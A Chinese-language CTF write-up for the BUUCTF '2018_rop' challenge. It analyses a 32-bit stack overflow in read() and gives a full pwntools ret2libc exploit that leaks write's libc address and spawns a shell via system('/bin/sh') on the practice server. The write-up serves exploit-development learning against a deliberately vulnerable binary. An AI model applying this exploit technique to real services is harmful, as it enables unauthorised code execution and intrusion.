分析
1 2 3 4 5 6
| Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
|
开启了nx保护
1 2 3 4 5 6
| int __cdecl main(int argc, const char **argv, const char **envp) { be_nice_to_people(); vulnerable_function(); return write(1, "Hello, World\n", 0xDu); }
|
查看vulnerable_function函数:
1 2 3 4 5
| ssize_t vulnerable_function() { char buf[136]; return read(0, buf, 0x100u); }
|
read这里存在溢出,可以使其溢出,调用write暴露libc位置
利用
- padding = 0x88+4覆盖到返回地址
- 返回地址通过write 的plt地址来调用write函数
- 然后再接上main地址,重新执行来计算
- 计算system和bin/sh地址
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * from LibcSearcher import * r = remote("node5.buuoj.cn",28357) elf = ELF("./2018_rop") write_plt = elf.plt['write'] write_got = elf.got['write'] main = elf.sym['main'] buf = b'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4) r.sendline(buf) write_addr = u32(r.recv(4)) print(hex(write_addr)) libc = LibcSearcher("write",write_addr) offset = write_addr - libc.dump('write') system_addr = libc.dump('system') + offset bin_sh = libc.dump('str_bin_sh') + offset buf = b'a'*(0x88+4) + p32(system_addr) + p32(0) + p32(bin_sh) r.sendline(buf) r.interactive()
|
1 2 3
| buf = b'a'*(0x88+4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4) r.sendline(buf) write_addr = u32(r.recv(4))
|
栈溢出构造:
b'a'*(0x88+4)
:覆盖缓冲区(0x88
字节)和ebp
(4字节)。
p32(write_plt)
:调用 write
函数。
p32(main)
:write
执行完后返回 main
,方便二次攻击。
p32(0)
:write
的第一个参数(fd=0
,标准输入)。
p32(write_got)
:write
的第二个参数(要打印的地址)。
p32(4)
:write
的第三个参数(打印4字节)。